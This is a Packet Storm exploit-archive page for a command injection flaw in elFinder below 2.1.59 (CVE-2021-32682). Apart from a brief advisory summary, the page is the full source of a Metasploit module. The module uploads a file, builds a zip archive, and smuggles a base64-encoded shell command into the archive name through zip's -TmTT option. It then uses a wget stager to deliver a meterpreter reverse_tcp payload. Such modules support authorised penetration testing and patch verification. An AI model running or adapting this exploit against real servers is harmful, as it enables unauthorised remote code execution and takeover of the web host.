what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

elFinder Archive Command Injection

elFinder Archive Command Injection
Posted Sep 15, 2021
Authored by Shelby Pace, Thomas Chauchefoin | Site metasploit.com

elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

tags | exploit, arbitrary, php
advisories | CVE-2021-32682
SHA-256 | eefba941559b0ed45889286a43dda93328d3b84159ce379897131f28b557f0ba

elFinder Archive Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'elFinder Archive Command Injection',
'Description' => %q{
elFinder versions below 2.1.59 are vulnerable to a command injection
vulnerability via its archive functionality.

When creating a new zip archive, the `name` parameter is sanitized
with the `escapeshellarg()` php function and then passed to the
`zip` utility. Despite the sanitization, supplying the `-TmTT`
argument as part of the `name` parameter is still permitted and
enables the execution of arbitrary commands as the `www-data` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Chauchefoin', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-32682' ],
[ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]
],
'Platform' => [ 'linux' ],
'Privileged' => false,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Automatic Target',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'wget' ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2021-06-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)

register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_uri
)

return CheckCode::Unknown('Failed to retrieve a response') unless res
return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]')

vprint_status('Attempting to check the changelog for elFinder version')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Changelog')
)

unless res
return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog')
end

# * elFinder (2.1.58)
vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/)
if vers_str.nil? || vers_str.length <= 1
return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version')
end

version_found = Rex::Version.new(vers_str[1])
if version_found < Rex::Version.new('2.1.59')
return CheckCode::Appears("elFinder running version #{vers_str[1]}")
end

CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable")
end

def upload_uri
normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
end

def upload_successful?(response)
unless response
print_bad('Did not receive a response from elFinder')
return false
end

if response.code != 200 || response.body.include?('error')
print_bad("Request failed: #{response.body}")
return false
end

unless response.body.include?('added')
print_bad("Failed to add new file: #{response.body}")
return false
end
json = JSON.parse(response.body)
if json['added'].empty?
return false
end

true
end

alias archive_successful? upload_successful?

def upload_txt_file(file_name)
file_data = Rex::Text.rand_text_alpha(8..20)

data = Rex::MIME::Message.new
data.add_part('upload', nil, nil, 'form-data; name="cmd"')
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
data.add_part(file_data, 'text/plain', nil, "form-data; name=\"upload[]\"; filename=\"#{file_name}\"")

print_status("Uploading file #{file_name} to elFinder")
send_request_cgi(
'method' => 'POST',
'uri' => upload_uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
end

def create_archive(archive_name, *files_to_archive)
files_to_archive = files_to_archive.map { |file_name| "l1_#{Rex::Text.encode_base64(file_name)}" }

send_request_cgi(
'method' => 'GET',
'uri' => upload_uri,
'encode_params' => false,
'vars_get' =>
{
'cmd' => 'archive',
'name' => archive_name,
'target' => 'l1_Lw',
'type' => 'application/zip',
'targets[]' => files_to_archive.join('&targets[]=')
}
)
end

def setup_files_for_sploit
@txt_file = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
res = upload_txt_file(@txt_file)
fail_with(Failure::UnexpectedReply, 'Upload was not successful') unless upload_successful?(res)
print_good('Text file was successfully uploaded!')

@archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip"
print_status("Attempting to create archive #{@archive_name}")
res = create_archive(@archive_name, @txt_file)
fail_with(Failure::UnexpectedReply, 'Archive was not created') unless archive_successful?(res)
print_good('Archive was successfully created!')

register_files_for_cleanup(@txt_file, @archive_name)
end

# zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post
def execute_command(cmd, _opts = {})
cmd = "echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh"
cmd_arg = "-TmTT=\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\""
cmd_arg = cmd_arg.gsub(' ', '${IFS}')

create_archive(cmd_arg, @archive_name, @txt_file)
end

def exploit
setup_files_for_sploit
execute_cmdstager(noconcat: true, linemax: 150)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close